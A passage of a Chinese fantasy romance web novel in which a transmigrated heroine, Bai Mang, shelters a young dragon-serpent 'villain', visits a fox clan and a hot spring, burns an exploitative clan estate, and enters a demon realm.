刹那间这一片地动山摇,巨石咕噜两声翻滚,小狐狸摇摇晃晃的震起来往后倒,飘在半空中。
横来一只手,轻轻接住了小狐狸的身子,白芒把他抱在怀里顺了顺他的毛。
而后抬起头,她看向双尾狐,“自来到这个世界,我就不允许有人再跟我大声说话。”
四周一片混乱,独她安然不动,小狐狸用崇拜的眼神看她。
双尾狐轻蔑眯眼,居高临下的凝视她,“我可以救你手腕上的东西。”
能屈能伸是人类的美好品德,白芒瞬间举着小狐狸递给他,“好说好说,你儿子还你。”
空中的小狐狸僵滞一瞬,立刻飞舞着四个爪子咆哮,“坏人!我再也不理你了!”
白芒笑呵呵的看着双尾狐。
可怜的扫了眼自家儿子,双尾狐转身将尾巴一甩,他们就都到了他身上。他移动四肢,坐在上面的人觉得十分平稳,周遭的景象却物换星移。
北山很大,除了主峰之外还有峰峦叠嶂的小山,约莫过了一刻钟的时间,他们才停下来。
“到了。”
白芒一手抱着一个滑下来,落地后还没看清,就觉得许多毛茸茸围了上来。
“大王回来了,带着小王子回来了!”
原来是狐族盘踞之地,放眼看去,虽不见树木,但地面上也覆盖着一层草。不少狐狸窜了出来,围绕在双尾狐身边,又胆怯又好奇的盯着她。
白芒戳了戳还气鼓鼓的小狐狸,问他:“你还生气呢?”
“哼。”小狐狸扭了头不理她。
见她和那家伙都上山之后,他着急又没办法,才想到了求助曾赶他离开的父亲。要是早知道她这么无耻,他才不管她。
小狐狸耳朵动了动,见她还没继续摸他,更生气了。抓住她的手咬了一口,两腿一蹬就跑了,混进了狐狸群里。
双尾狐注意到这边的动静,哂笑,“你手上的东西
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快不行了,跟我来。”
神色一凛,白芒连忙跟了上去。
双尾狐是这片狐族的王,理所当然住着最好的屋子,他的身形在进门的瞬间缩小,只有半人高。
他示意白芒将楚卿礼放在桌上。
小白蛇都不知道昏迷多久了,身体还绕在她手腕上,被取下时,尾尖留恋的勾住她的手指。
白芒想放下,可他细长的尾尖就像是有意识一样,刚捉下就又缠绕了上来,瘫软在桌上的蛇头都不安的抬了抬。
“倒是少见。”
双尾狐取了药回来,看见这一幕,咋舌叹了声。“他这样的种族,也会依赖凡人。”
白芒索性由着楚卿礼搭住自己的手指,没将双尾狐的话当回事,“他怎么了?”
双尾狐盯着楚卿礼看了许久,突然怅然一叹。“我妖族当真是落魄了,连如此尊贵的血脉,也被欺辱至此。”
“他是试图突破自身,调动了天地间过于庞大的力量,而这具身体还承受不住。”
白芒闻言一怔,突然觉得自己像鸡娃过分的家长。
双尾狐将药给了她,“我狐族山阴处有一灵泉,你将药给他吃了,带他过去泡上一个时辰。”
白芒指了指自己,“我也要去?我又没受伤。”
双尾狐将尾巴一甩,背对着她嘁了声,“像是他能离得了你似的。”
“……”
李家村内,白芒的屋子里,此刻却被翻得一团乱。
漂亮灵动的少女坐在房前的门槛上,头上系了条绿色的发呆,在这雪国中有无限生机。
清府之人牵着狗从里面走出来,面露难色,“大小姐,确实闻到的就是那妖的气息。可不知为何,此处人不在,或许是妖兽狡诈,已经逃了。”
他面色诚惶诚恐,楚书芸皱起眉心,摸了摸手上的灵戒。
清府人也看过去,恨恨道:“若不是遇见这快死的妖兽,我们也不会耽误。”
“好啦。”楚书芸笑着打断了他的话,安抚的拍了拍灵戒。
那里有一重芥子世界,只住着一只负伤严重,几乎冻死的狼妖。
“是我要救他,北山这么冷,总不能见他冻死。”楚书芸倒是不着急,她打量着被翻乱的小屋子,略微嫌弃的皱眉。
也太小太破了些,纵使是楚家仆从住的屋子,也比这豪华许多,灵气还这么稀薄。
委屈他了。
思量间,另一个清府人从隔壁走出来,一中年妇人藏在门后偷看他们。
“回大小姐,问到了,此处住着一个名为白芒的散修,与她的妖仆。”
“什么?”楚书芸猛然转头,弯弯的柳叶眉拧起,腰间象征楚家的玉环随动作摆动,“那就绝不可能是他,他绝不会成为别人的妖仆。”
两人对视一眼,犹豫开口,“可是按气味……”
“那也可能只是路过,继续追踪。”楚书芸束紧发带,召回她的灵剑,凌空斩断院子里挂的一件女子衣衫,“妖仆不可能是他,走吧。”
一行人御剑而去,李婶才拍着胸脯回身,对内道:“吓死我了,还以为是来找白姑娘麻烦的。”
“哼。”李正背着手走出来,“就凭他们,也配找白姑娘麻烦。一群蠹虫,怎不记得有人问问我们此地妖魔可除。”
“好啦,快别说了,随我一起收拾好吧,白姑娘回来还要住呢。”
“哼,一个妮子,连厚被子都没有,回头把咱家的拿来送她。”
11. 温泉
温泉池上氤氲着一层水雾,周围的石壁凹凸不平,小兰花摇曳在远处,茂密的茅草算作屏障。月光轻柔洒下来,为此间披上一层朦胧白纱。
四下寂静,连虫鸣鸟叫都没有,白芒不觉起了困意,双眼微阖,轻薄的里衣随着水波飘动,贴近她的肌肤又荡开。
楚卿礼一睁眼,入目便是她莹白的胸膛,浑身一震。
他下意识的想转身,细小的一条蛇,在这汩汩流动的温泉中不会激起任何水花。
可刚转过去,他顿了片刻,就又犹豫着回头,慢慢窜回来,随着水纹沉浮着看她。
与他的浑身坚硬鳞片不同,她的身躯似乎要柔软许多,好似能包裹着他沦陷。
水中都是她的味道,楚卿礼埋下头,感知着那股惹他躁动的味道。
平静舒适,就像是困极后坠入的草垛,在她身边没有耻笑辱骂,也不会想起娘亲的血流满身,简单安心得让他惶恐。
半梦半醒的白芒未发觉,她手背上的印记慢慢现了形,小白蛇的尾巴在蜷缩翻滚。
浑身的血脉都在应和那道印记,楚卿礼身体往下沉,体内的躁动因为不能疏解而让他痛苦,靠着药物度过的发情期,后续反应漫长的像是南边阴雨天。
楚卿礼慢慢贴近了一处柔软的皮肤,那是白芒在水下的双脚,足弓踩中了蛇腹。楚卿礼倏然睁眼,看到的是她修长匀称的小腿,他遵从本能缠绕上去,缓慢的摩擦。
她不会发现的,他动的很小心。
愉悦感瞬间俘获了他的神智,楚卿礼束紧她的脚腕,遵从陌生的冲动,蛇尾极尽缠绕。
发现便发现吧,她是他的主人呐,恶劣的妖族本性是她该认识到的。
白芒已睡了过去,身体不自觉往下滑,像是被拖着往里。鼻腔被水淹没的时候,她突然惊恐醒来,手撑着石壁坐直。
“你在做什么?”
她的疑问声从耳边炸开,楚卿礼猛地窜起身,男子的上半身从她的□□探了出来,手指按在她唇上,像是阻止她说出来。
白芒双唇微涨,为眼前的景象惊到。
少年的骨架好似长开了许多,肩宽腰细,没入水中的是巨大的尾巴,几乎铺满了这整个池塘,贴着她也泡在水里的双腿。
天上的月亮大了许多,月光澄澈,照明他过人的面容。沾着水珠的眉眼旖丽,眼眸漆黑如墨,薄唇淡红,活像是蛊惑人心的妖魔。
一滴水珠顺着他的鼻梁往下滑,滴进水池,砸开一片小水花。白芒咕咚吞咽了下口水,细微的声音在如此寂静中被放大,白芒干笑出声。
“哈哈,你醒啦。”
说着就往后缩了缩,给他的大尾巴腾位置,倏然不知他皱了皱眉。
顺着动作,白芒的目光往水下看去,想瞧瞧他的大尾巴,可方一探头,唇上的手就移上她的眼睛。
“别看。”
白芒眨了眨眼,怎么觉得他嗓子还有些哑,“身体还不舒服吗?”
“……嗯。”
良久才传来应声,眼前的手放下,白芒被扶着脸仰起头,只能瞧见他的脸。
楚卿礼低头,感受着她鼻间的呼吸,比他要温热许多,突然开口道:“我做到了。”
白芒了然,“嗯,能从北山之巅唤来天雷,我们小蛇这么厉害呢。”
“我不是蛇。”楚卿礼皱眉悄声,对上她笑出的梨涡,又动了动嘴角没有多言。可等了许久没见她继续说,便迫近一些,“然后呢?”
熟悉的缠绕感又从腰上传来,白芒生怕他这一不小心给自己勒死,于是手往下按了按。
双眸瞬间变成竖条,楚卿礼推开她往后,尾巴都蜷起来,“你做什么!”
白芒莫名其妙的眨了眨眼,她刚才不就按到他的鳞片了吗,硬硬的。
算了,大反派不能讲道理,白芒立刻合手道歉,“对不起。”
楚卿礼侧首,面颊与耳尖拢着一层薄薄的红意,眼神里却还隐含着期待,时不时瞄她一眼。
巨大的蛇尾还在近旁,白芒只觉得自己是皇帝身边的大太监,猜不出他想要的,就会被一尾巴拍死。
“要不我办桌酒席,祝贺一下你?”
他眼神立刻冷了下来。
白芒呵呵一笑,“那不然,我给你送什么礼物,当做奖励?”
皇帝明显还不高兴。
白芒两手一摊摆烂了,“那你说,你想怎样?”
咽下叹息,楚卿礼慢慢贴近,面向她低下头,眼睛一个劲看她的手。
他的头发披散着,柔顺的浮在水面上,白芒观察他的神色,迟疑着将手放在他的头顶。
楚卿礼浑身的气息就都软了下来,尾尖冒出水面轻轻摇晃着。
白芒愕然,没想到这个皇帝这么好伺候。
用头顶轻蹭了蹭她的手掌,楚卿礼便神色清明的退后,尾巴渐渐收回人类的双腿,“我们上去吧。”
娘亲教过,不能贪心,虽然是他自己动的,也是她摸了。
被拉上岸白芒才回过神,心情复杂的放下手,暗自反思她的教育环节是哪里出了错,怎么感觉开发出了大反派别的属性。
不过转念一想,以后头疼的反正也是女主,白芒乐呵呵没当回事。
“怎么不多泡会,对你的身体好呢。”
“脏了。”
还在想好端端的温泉脏什么,白芒的肩头就被压了一件氅衣,湿冷的空气被隔在外面。
手腕被拉住,楚卿礼没有再变回蛇形,就这样跟着她走。
若是白芒也有着妖族的嗅觉,就会发现温泉周边,全是龙族求偶的气味。扩散到外面,不少睡梦中的狐狸都惊醒,蜷缩一团瑟瑟发抖。
双尾狐给他们安排的屋子离狐族们聚居的地方稍远了些,隐隐绰绰的阴影中,看到了门外站着个人影。
白芒走近,提起灯笼,照亮了一双狐狸耳朵。
一个约莫十五六岁的少年,面庞漂亮的不像话,狭长的眼睛自带风流,薄薄的绯红色染在眼尾眉梢,嘴巴别扭的抿着,耳朵竖起来慢慢的抖动,身后还有条灰色的大尾巴。
看到那大尾巴的瞬间,白芒就知道了他是谁,她再扭头,忍不住笑了。
站在夜幕里的楚卿礼低下头,沉默不语,矜美如暗纹的锦缎。
嘿,还挺赏心悦目。
白芒背着手踱步走向小狐狸,“这就是你的人形?还怪好看的。”
平心而论,狐狸精这个词是有道理的。
小狐狸蹭的一下亮了眼睛,耳朵立起来,“你喜欢我的样子?”
“喜欢呀,人都会喜欢的。”
于是尾巴也甩了起来,小狐狸自得的瞥过楚卿礼,走近她一些,“那我今天来陪你睡觉!”
“好呀。”白芒笑眯眯点头,她都习惯做动物园园长了。
小狐狸神色更激动,“那明天我们就成婚!”
“好……这就好不了了。”手腕倏然被楚卿礼捏紧,白芒眼睛瞪大,义正言辞的摇了摇头。
尾巴僵硬的垂下来,小狐狸收起敛起的嘴角,“为什么?”
微叹一口气,白芒看着眼前这个单纯懵懂的小狐狸,开始思索怎么解释人类情感这种复杂的命题。
小狐狸急切的变回原形,冲她转了个圈,“我有漂亮的毛,这不是你最喜欢的吗?”
楚卿礼低眸,她确实喜欢,摸到小狐狸的时候,她的气味是很高兴的。
但他没有这样的毛。
搔搔头发,白芒蹲下来,抱膝看着他。“可是这样的毛,是独你有吗?”
小狐狸一时哑然。
“有漂亮毛的妖很多,我都要喜欢吗?”白芒微微笑着,只觉眼前是个撒娇卖萌的小动物。
“人心很奇怪的,若不是那个人,再符合她的要求也没用。
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你也未见得是真的喜欢我,我已见过了许多的人或妖,你却只见过我一个人,只有你见了足够多的人,才会明白什么是喜欢。”
小狐狸一知半解的追问,“什么是喜欢?”
白芒仰头看向了楚卿礼,“奋不顾身,独一无二。”
她的眼中倒映着月亮,比星子还明亮透彻,楚卿礼愣住,心忽的漏跳了一拍。
白芒心里默默唏嘘,那就是楚卿礼日后的宿命,按照剧情,大反派必会对女主求而不得,用尽手段,死去活来。
优秀反派的宿命,就是因为爱女主而被打败,老套路了,她懂得的。
“好啦,回去吧,你爹在暗处看了许久呢。”白芒打了个哈欠,拍拍他的头。
话音落下,房子后面果真甩出两条尾巴,小狐狸羞愤的刨了刨地面,蹬蹬跑了。
没空管这别扭的父子俩,白芒瞧了眼微低头的楚卿礼,心道,今天也是认真教学的一天!
以后遇见了女主,他不得使劲把握。
一面想着,她上前去推开门,果真是困了,泡温泉真是容易乏。
“芒芒。”
身后突然想起了楚卿礼的声音,白芒回头。
“我没毛,晚上很冷的。”
“……”
躺在床上,楚卿礼听着另一头白芒均匀的呼吸声,却没有睡着。一片黑暗中,他摸索着拿出一块泛着异光的东西。
半个手掌大小,洁白如玉,是上古时期龙的一块骨头。北山之上,他的天雷劈开也是为了这块龙骨。
楚卿礼闭上眼,想起娘亲临死的惨状。
身体被切成一块一块,如同捣碎的蚯蚓,瘫软在地,眼睛只剩个空洞,还在看着他的方向。
龙骨被用力捏住,几乎要嵌进他的血肉里,楚卿礼侧过身,遥遥面对着白芒的方向。呼吸被控制着模仿她的起伏,许久之后,他才平稳下翻滚的怨怒。
天下苍生,都比他一人的私怨重要的多,过去的事情已成既定事实,他不该再多计较。
往后,便这般守着她或许也是好的。
翌日。
刚醒过来,白芒与楚卿礼就被双尾狐叫了过去。
蹲在石头上,双尾狐居高临下的看着他们,“你们该走了。”
“他的伤,在我这里不过是治标。十日之后,魔境将开,那里有他需要的东西。”
白芒正色,扭头瞧了楚卿礼一眼,见他也神色凝重。
“这是我昨夜费尽力气探寻到的消息,算作对你们的报恩,此后我儿再不欠你什么。”双尾狐说着,旁边还蹲了只小灰狐。
小灰狐低着头,不肯瞧他们俩,尾巴蔫蔫耷拉在地上。
十天时间,差不多足够他们混进魔境去,白芒大致思量后点了点头,与双尾狐道了谢,当即就带着楚卿礼走。
转身之际,双尾狐与楚卿礼对视一眼,微不可察的点了点头。若说妖族还有振兴的希望,那就都在这位少年人身上了。
但愿它探听来的消息没错,能真的帮助到他。
其余的小狐们都没有出来,嫩草拂过小灰狐的尾巴,他盯着白芒远去的背影,嘴一点点垮了下来。
“我想要个名字。”
他突然开口,双尾狐低头看他,“什么?”
小狐狸抬高胸脯,“我也想姓白,我以后就叫白狐。”
双尾狐面露难色,犹豫开口,“可能不行。你是个灰色的来着。”
以后条件允许了,不然还是给他找个人类老师吧,这文化水平有点匮乏,双尾狐想着。
一朵粉色的小花,突然被气泡裹着飘飘荡荡而来,到了小灰狐的鼻尖,噗一声裂开,绽放的小花落在狐狸鼻尖。
阿嚏。小灰狐摇了摇头,那朵花纷纷扬扬旋转滑落,空气中传来白芒的气味。
是她送他的临别礼物,小狐狸高昂起头,“就叫白狐!”
12. 牙印
红红的汤锅滚着,腾腾的热气里满是鲜辣的香气,刚切好的羊肉片就下了锅,淋了一层芝麻酱。
阴冷的天气里,越热越辣的锅子,越是过瘾。
白芒辣得嘶哈嘶哈,捞肉的筷子还没停,手边就放了一杯温茶。
“养生之道,少食辛辣才好。”
耳边传来楚卿礼一板一眼的嗓音,白芒也习惯了他偶尔的教条刻板的样子,手腕一转,那筷子红彤彤的羊肉就放在了他碗里。“好吃呢,你也尝尝。”
李婶笑呵呵点头,“正是了,为你二位送行的。”
“半条羊腿都买来了。”李正嘀咕着,往锅里下肉的手却毫不含糊,“我不爱吃,剩了可不行。”
前往魔境之前,他们理应来道别,也收拾些行李。刚跟李婶说了,她就眼圈红红的拉着他们要吃热锅子。
白芒用手肘戳了戳他,楚卿礼低着头,看到了和肉片粘连在一起的辣椒皮。楚家的修仙者,连吃饭的人都没有几个,更何况是这种重口的。
可是,他转头,看到刚离开白芒唇边的筷尖,方才就是同一双筷子给他夹的肉。楚卿礼低头,将盘子里所有的肉连同辣椒都放入口中。
眼圈立刻红了,双唇也发麻的张开,他嘶哈着忙去找水。
小古板被调戏到,白芒捧腹大笑,故意坏心眼的抢走他手中的水杯,看他辣得眼泪都快出来了,泪濛濛的眼睛无辜又可怜。
白芒笑声更大,“婶子,可有酒喝?”
“有。”李婶很快拿来酒壶放在她面前。
楚卿礼还没从辣劲中缓过神来,看着她连饮了三杯酒,默默想着往后要给她找点别的养脾胃的东西吃。
热酒下肚,火辣的感觉漫进肺腑,唇齿留香,不多时白芒的脸就都红了,她放下杯子,“好酒。”
“自然是好酒呢,清府都要我酿的酒喝,这是我好不容易藏下的一坛。”李婶自得的仰着头。
白芒捻着杯子眯眼,“既有清府采购,为何你们还是如此辛劳贫苦?”
不能让她再喝了,楚卿礼拿走她的杯子,随口回答,“清府要拿东西,怎么可能给钱?”
“可不是。”李婶捣了把满脸不忿的李正,“我们村子虽然没什么清府人来管,可每逢年节该交的孝敬是断断不能少的。不光是我的酒,还有大家猎到的好东西。”
“若是不给呢。”酒气上涌,白芒烦热的拉扯开衣领。下一秒就有只手横过来给她拉好,白芒撇嘴,瞪了眼心虚的楚卿礼。
“哼,那帮混账。”李正胡子都气得吹了起来,“倘若不给,就会处处刁难,粮食蔬菜全都不准运来,下山看病,也会阻拦着要千万种文书。”
李婶附和点头,“正是呢,就算是我们自己猎的东西,也会巧立名目的说不准猎,要罚钱。”
新下锅的羊肉又熟了,李婶给他们捞,瞄见白芒愤懑的神色后,反笑着宽慰。“也不妨事,左右只有年节那一次要送罢了。”
讥诮的弯了弯嘴角,白芒没有说话,埋头吃肉。
不多管闲事,是她的信条。
只是到底气氛没了,沉默着吃了几口,白芒抬头冲他们笑笑,“时辰不早了,我们也该去收拾东西了。”
扭头瞧了眼天色,李婶连连点头,是该走了。
她说完便起身,楚卿礼跟着站起来,从怀中摸出几张符纸,放下后默默行礼离开。
这几张符纸,是白芒画的,以备他们日后的不时之需。
回了隔壁自己家,白芒一推开门,先皱起了眉。
眼前的东西摆放位置都不对,明显是被人后来收拾的,白芒又飞快回屋查看。
楚卿礼则立在门口,他低眸看着门槛上,有那个人的味道,她是什么时候来的?
尚在思索之际,白芒沉着脸走了出来,手上拎着一团布料。楚卿礼认出那是她的衣裙,“怎么了?”
白芒没理他,出了院门直问隔壁,“婶子,可有人进过我屋子?”
“诶呦,可别说了。前两天有个姑娘领着俩清府的人来过,搜的乱七八糟,还是我俩给你收拾的。”
又是清府,白芒手腕一抖,拿着的破裙子就被一把火烧个干净,雾气上腾,她面无表情的脸若隐若现。“多谢婶子。”
她约莫记得,宿雪镇就有清府的一处庄子,他们的人拆了她的家,她也该礼尚往来才是。
一去一反,顶多一刻钟。
刚迈步子,白芒忽的觉得脚腕一紧,低头就瞧见白蛇在她脚边拍着尾巴。
“你想做什么去?”
楚卿礼方才闻的清楚,那人的气息应该就是这几天,没想到楚家是把她派了过来。总归,他现在还不能暴露气息,便又隐匿成了蛇形。
楚卿礼努力抬高身子,仰头看她,“清府隶属于修真界的世家,轻易得罪不得,何妨暂且忍忍。”
白芒没出声,冷冷瞧着他挑了挑眉。
楚卿礼并不明白,家对于她而言,是个不容闯入的地方。本就是异世界,她对于专属自己的地方和东西,便有超过寻常人的领地意识。
闯进她的家门来乱动她的东西,当真不能忍受。
“芒芒。”楚卿礼看出她仍有怒气,他不得不变回人身,一只手先紧握住她捏起的拳头,"你不是问我是怎么到这来的吗?“
白芒收住脚看他,不太懂他突如其来的坦白。
楚卿礼闭了闭眼,不自觉用力握着她的手,难堪的低沉嗓音开口:
“芒芒,我是从楚家出逃的妖。”
在没有拿回全部力量之前,他并不愿意让她知晓他那些可怜的过往,更不想让她遇见楚家人。楚卿礼低头,看到她似笑非笑的目光后怔了怔。
修仙世家,楚家为尊,原来是这么回事。想来无故到她家里捣乱的清府人,也是为他而来。倒是也符合大反派,年幼时必历经屈辱的套路。
“古话说的好,忍一时风平浪静,退一步海阔天空。”白芒眨眨眼,“你是不是觉得忍下来就是对的?”
楚卿礼理所当然的想点头,却又觉得哪里不对,思及她一贯“离经叛道”的做法,目光略微迟疑。
白芒握住他的手,转身便召来一朵祥云,声音随赫赫风声传来。
“那从此刻起,我要你不再忍了。”
“从此往后,我们再也不要受欺负。”
——
宿雪镇以东,垄垄果树正姹紫嫣红的开着花,才刚结过一轮果子,又被术法催动着准备下一次结果。
法术掌握到一定程度,连天地自然道法都不放在眼里。
此处的庄子,是清府在人间最不起眼的一处,负责培育收集一些此地特产,上好的东西奉给修真界,中等的东西集中到高级的清府,最下等的被分给此处清府人。
再往细瞧。就发现果树的根,扎在一些年老体弱的人身上。
老人们已面色惨白,匍匐在地,果树的根须如同锁链,紧紧盘踞在他们身上。血色的汗珠从他们额头滚落,却咬紧了牙关忍受,有一老妇耐不住疼痛,哼了一声,下一刻便啪的甩来一鞭子。
“住嘴,胆敢出声!”
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鲜血滚落的瞬间,粗壮的树根就贪婪爬行而来,那棵树上的花霎时间开的更艳。
以人的精血为供养,怪不得能连年不断的结出瓜果呢。
“呵。”
一片侘寂中,突然响起女子轻笑声,如银铃般闯入人的耳中。
管理此地的小吏四下看不到人,眯缝着眼抬头,才发现最中间的树上站着一个衣裙翻飞的女子,手上还缠绕着一条银白色的蛇。
白芒笑呵呵的同他对视,伸出手啪的打了响指,转眼间树下的人都不见了。
绽放的花海顷刻间凋零,朵朵花瓣纷纷扬扬落下,形成一片靡丽花海。
也砸了那清府小吏满头,如此堪称浪漫的场景,他却惊恐得无力拿住手中的鞭子,眼底倒映着光秃秃的树干。
要完蛋了。
这批果子成熟后,是要送去楚家的。
巨大恐惧之下,小吏转而对捣乱的白芒暴怒,抽起鞭子就直打向她。
可白芒躲都没躲,鞭子便化成了灰烬。
小吏面色僵滞,反应过来他远不是那女子的对手,才颤颤巍巍跪倒,“你要做什么?”
白芒从树干上跳下来,缓缓降落在他面前,嫌恶的瞥了眼他沾满血迹的衣袍。“你们能联系到修真界?”
“啊……是是是。”
挥动袖子,这万亩山庄顿时化身火海,连树干带房屋都燃起纯净的蓝色火焰。
冷眼瞧着狼狈的往出躲的人们,白芒把躁动的楚卿礼按回袖子里,飞回上空,声音穿透此间每个人的耳中。
“去告诉楚家,楚卿礼是我的人,不要再想来打扰他。”
这句话同样也传入楚卿礼耳中,翻滚的蛇身瞬间停了下来,她的袖子隔绝了外界,他入目只有她莹白修长的手指。
咚咚咚。
心跳加快,陌生的躁动感充斥他的筋脉,蛇形扭曲,几乎要显露出龙的形状。
驾云凌空飞过了那处山庄,白芒挑了挑眉,其实有些心虚。
做反派嘛,总得和最大的势力为敌,以后引火烧身,希望他不要想到今天来怪罪她。
一片短暂的沉默中,她的指尖突然一疼,白芒嘶的抬手,就看到他意犹未尽的吐了吐舌头。
白芒欲哭不得的看着自己指头上的牙印,心道他这么快就发现了自己奸臣的本质吗?
“芒芒,为什么是我?”
楚卿礼背对着她发问。他已能看得出来,她或许有超脱于这个世界的力量,如此厉害的人,之前从未听闻,却突然闯入他的身边。
“什么?”白芒跟不上大反派的脑子。
楚卿礼低下头,看着他刚才情不自禁咬下的印子。
或许她早就发现了他的真实身份,想通过他谋求些什么,就像楚家一样。
他突然转头,看着她明亮如星子的眼镜,蓦得自嘲的叹了口气。而后低下身,用他的鼻吻,轻轻触碰着他方才咬过的地方。
“也可以。”
利用,谋求,都可以。
指尖酥麻的痒意漫上心头,白芒不自觉打了个冷战,又有种缠绕束缚的感觉。
清府山庄之内,火光成了灰烬,一身翠绿的仙子满面怒气,“那女子当真是这么说的?”
小吏发着抖回答,“回大小姐,正是。”
“荒唐。”楚书芸狠狠跺脚,她还记得,受尽打压后的少年挺直着脊背,孤傲站在月下的样子。他那般的人,怎可做一小小妖仆?
“即刻起发动所有清府之人,找到这个白芒。”
13. 魔境
白芒无论如何也想不到,魔境入口,就在人族都城一家最大的酒楼里。
穿过人声鼎沸的前院,再绕过莺歌燕舞的后院,从刻满十三妖鬼的井里沉下去。视线骤然一暗,月光取代了日色,他们便踏足了魔境。
白芒睁眼,好奇揉了揉眼睛,“这看上去也没什么不同啊?”
来来往往的还是人,商铺玲琅满目,叫卖声不绝入耳,不过就是夜晚的都城罢了。
“人的神奇之处远超妖魔与神佛想象,分明下了禁制,可也总有千奇百怪的闯入者。”
楚卿礼的声音从后传来,他用手掌抚过她的眼睛。
“为了糊弄凡人,所以往往还有一层幻境。”
他的手掌移开,白芒方一睁眼,顿时就看到了一个血淋淋的脑袋飘过来。
断口处还爬着不少苍蝇,嗡嗡作响,大张的嘴巴耷拉出一条舌头。
“啊!”猝然吓了一跳,白芒往后闪躲,便贴到楚卿礼温厚的胸膛,他的手紧紧牵住她。
那脑袋从她旁边飞过去,听到了声音,扭头鄙薄,“没见识。”
白芒抽抽嘴角,没想到妖魔们也会歧视外地人。
“没事吧?”楚卿礼走至她面前。
白芒摇摇头,抽手站好。方才只是事发突然,如今有了心理准备,倒是也还好,她探头打量着。
大致还是同样的街道,但是人都不见了,取而代之的是各种形态的妖、鬼与魔,长相凶恶,也有不少可爱的毛茸茸。
“让让。”
正看着,脚边传来一道不耐烦的男声,白芒低头抬脚,就见一只翘着尾巴的大蝎子快速爬过,走到另一只蝎子面前,啪的送出一朵花。
白芒忍俊不禁,这魔境倒是也比她想象中要有意思许多。
在此处行走,妖魔们都已本体的模样行走,反倒是楚卿礼,落地便化成了人形。白芒转头瞧了瞧他,少年人就是长得快,她都得仰视他了,“你为何也不显露原形?”
“这里不受修真界管辖,我不用隐藏气味。”楚卿礼也是第一次踏足,之前都只是听说,也好奇的四下看。
白芒眯眯眼,又瞧着他此刻穿的这一身衣服,波光粼粼的,看不出材质,却是极贴合他的身材,衬托得他比神人还俊朗挺拔。
察觉到她的视线,楚卿礼顺着她目光低头看,耳尖微红。“这是我的鳞片化成的衣服。”
怪不得,白芒了然点头,仔细看过后又奇怪的指了指他的胸口。
心口那一处,倒是普通布料,比周围暗淡不少,“这里为什么不一样。”
楚卿礼低眸,眼睛划过她的手背,“这是护心鳞在的位置。”
曾经在的地方。
白芒则以为这里是不可追问的细节,便没多说,他们二人边走边看。
双尾狐只是告诉了他们,魔境中有楚卿礼需要的东西,可到底是个什么机缘却还需要细细打听。
只得先找个住处,安顿下来才是好的。
不过一路上,看向白芒的目光不在少数,不少妖魔路过他们都会回过头来,将白芒从头到脚打量一番,眼神颇有种说不上的怪异。
白芒以为他们这是看人类的反应,也没多当回事,“前面有家客栈。”
“嗯。”楚卿礼面容低沉,冷冷扫了回过头的一只男妖精,靠得白芒又近了一些。
二人相携进去,竟发现里面还有说书的,八角帽下盯着个麻雀脑袋,用翅膀将惊堂木拍的震天响。
正好有张空桌,白芒过去坐了,楚卿礼去柜台前订房间。
“话说上古时期,我妖魔界乃属神族,我等先祖皆为神兽,呼风唤雨南征北战那简直是威风凛凛风光无限。其中龙族,便是最尊崇的存在,莫说是如今的修真者,便是神仙面前,也是地位极高。”
雀妖说得心情激荡,白芒笑着听,扫了扫桌上的灰尘。
“这有手帕。”
隔壁的一只犀牛妖就低声凑过来。
白芒意外接过,客气道了谢,“多谢你。”
“不……不用。”犀牛妖本就狭小的眼睛立刻眯起来,坑坑巴巴的回话,又糙又厚的脸竟红了起来。
惊异的发现这么厚的面皮原来也会红,白芒怔怔收回帕子,听着雀妖继续叹气。
“可是成也龙族,败也龙族,创世的神都死了,神兽们本该登上权力宝座。可叹可悲,一场意外,竟连一个神兽都没留下,我妖魔界自此败落,受人欺凌。”
原来背景设定里还有这么一出,白芒正低头沉思着,惊觉桌上不知何时摆了一盘红烧虫子。
她强忍着恶心抬头去看,就见一抿着唇面露羞涩的青蛙怪冲她点头,白芒只得尴尬的回忆一笑,默默坐远了一些。
“客官?”
柜台边,楚卿礼沉着脸收回视线,对呼唤他的店小二交了钱。
店小二也一早就发现了白芒,此刻看着他的脸色,会心一笑。“那位姑娘,还没有伴侣吧?”
楚卿礼面无表情的点头。
店小二嘿嘿一笑,“这里哪个家伙不是鼻子灵的,都闻的出来,她是个根骨奇佳的人,能和她结为伴侣双修,那修为必然蹭蹭往上长,献殷勤也是应该的。”
“找钱。”楚卿礼冷淡打断了他。
讨了没趣,店小二耸耸肩,麻利的把钥匙一并给他。
楚卿礼转身就走,没几步坐回白芒身边,她诧异的往他身后看看,“怎么走的这么快?”
楚卿礼没有回答,看看桌上的几盘菜与一方手帕,感受着身后无数妖魔打量的目光。
“芒芒。”
不知他为何神色这么郑重,白芒坐直了一些,“嗯?”
楚卿礼移开目光,“在魔境,我的契印会受到影响,需要每天加固一下。”
白芒挺直的腰板塌下来,没想到他就是为了这,哭笑不得的点头。“你生气就是因为这?”
楚卿礼倏然一僵,把视线挪回她脸上,耳尖慢慢红了,“没,没生气。”
这到了魔境怎么大家都这么奇怪,白芒好笑的摇摇头,“那你加固吧。”
她应得毫不迟疑,楚卿礼怔了怔,嘴角缓缓勾了勾。
本该去房间里的,他想,君子当有羞耻之心。
可他仍在大庭广众之下伸出手,一只手遮住她的眼睛,一只手紧紧捏着她手腕。
说书的雀妖都停了,所有妖魔
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诧异的看着他们。
楚卿礼凑向她的脖颈,先动了动鼻子,是她血脉中清甜的味道。她至纯至净,即便他日日夜夜与她在一起,即便他已经给她种下了契印。
她身上也没什么他的味道。
心被扯出了一丝怒气,在周遭人方才的觊觎目光中,这丝怒气隐隐放大,楚卿礼蛇瞳显现,牙齿变长。
他猛地在她颈侧咬了下去。
刺痛袭来,白芒下意识想挣扎,却被用力握住动弹不得,蛇尾也在瞬间席卷上来,束缚住她的腰与腿。
大厅之中,静得连呼吸声都只有白芒一人的,所有妖魔瞪大了眼睛难以置信。
刹那间,一股她闻不到的清冽雪味从她身上蔓延开,白芒只觉疼痛之后,他收回牙齿舔了舔,痒得她发慌。
楚卿礼闻着她与自己相同的气味,终于松口,尾巴与牙齿都缩回来。他放开她,低头咳嗽了一声。
仁义道德,是面对人才能感知的,只要她不知道他在做什么,他在她面前就是君子。
“我先去铺床。”楚卿礼站起来,不看她便走。
茫然摸了摸脖子,莫说是血了,什么痕迹都没有,白芒还没反应过来,就见周围的妖魔们争先恐后的把她桌子上的东西都拿回去了。
而且都神色忿忿,嘴里抱怨个不停。
“早说啊,浪费感情。”
“现在才标记味道,早干嘛去了。”
才刚跟她示好的所有妖魔,都换了一副面孔,白芒心中诧异不已,抓住了最后一个来拿手帕的犀牛妖。“大家什么意思,我怎么不太明白?”
